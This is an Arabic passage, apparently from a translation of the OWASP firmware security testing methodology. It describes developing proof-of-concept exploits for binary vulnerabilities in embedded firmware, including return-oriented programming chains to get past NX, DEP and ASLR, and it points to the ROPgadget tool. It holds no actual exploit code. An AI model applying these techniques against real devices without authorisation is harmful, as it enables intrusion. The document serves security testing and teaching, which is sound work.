بعد تحديد ثغرة أمنية داخل ملف ثنائي من الخطوات السابقة، يلزم إثبات المفهوم (PoC) المناسب لإثبات التأثير والمخاطر في العالم الحقيقي. يتطلب تطوير أكواد الاستغلال خبرة في البرمجة بلغات ذات مستوى أدنى (مثل ASM، وC/C++، وكود القشرة، وما إلى ذلك) بالإضافة إلى خلفية داخل البنية المستهدفة المحددة (مثل MIPS، وARM، وx86 وما إلى ذلك). يتضمن رمز PoC الحصول على تنفيذ تعسفي على جهاز أو تطبيق من خلال التحكم في تعليمات في الذاكرة.
ليس من الشائع أن يتم تطبيق عمليات حماية وقت التشغيل الثنائية (مثل NX وDEP وASLR وما إلى ذلك) داخل الأنظمة المضمنة، ولكن عندما يحدث ذلك، قد تكون هناك حاجة إلى تقنيات إضافية مثل البرمجة الموجهة للعودة (ROP). يسمح ROP للمهاجم بتنفيذ وظائف ضارة عشوائية عن طريق ربط التعليمات البرمجية الموجودة في العملية المستهدفة/رمز الثنائي المعروف باسم الأدوات الذكية. يجب اتخاذ الخطوات اللازمة لاستغلال الثغرة الأمنية التي تم تحديدها مثل تجاوز سعة المخزن المؤقت من خلال تشكيل سلسلة ROP. إحدى الأدوات التي يمكن أن تكون مفيدة في مثل هذه المواقف هي أداة البحث عن الأدوات الذكية الخاصة بـ Capstone أو ROPGadget- https://github.com/JonathanSalwan/ROPgadget.
استخدم المراجع التالية لمزيد من الإرشادات:
سيتم استخدام مجموعة من الأدوات خلال تقييم البرامج الثابتة. المدرجة أدناه، هي الأدوات شائعة الاستخدام.
للتدرب على اكتشاف الثغرات الأمنية في البرامج الثابتة، استخدم مشاريع البرامج الثابتة الضعيفة التالية كنقطة بداية.
ردود الفعل والمساهمة
إذا كنت ترغب في المساهمة أو تقديم تعليقات لتحسين هذه المنهجية، فاتصل بـ [email protected] (@scriptingxss). تأكد من فتح مشكلة أو طلب سحب، وسنتأكد من الاهتمام بها!
شكر خاص لرعاتنا Cisco Meraki، وOWASP Inland Empire، وOWASP Los Angeles بالإضافة إلى José Alejandro Rivas Vidal لمراجعته الدقيقة.
يمكن العثور على القائمة الكاملة للمساهمين عبر https://github.com/scriptingxss/owasp-fstm/graphs/contributors.
رخصة
مشاركة الإسناد المشاع الإبداعي على حد سواء 4.0 الدولية


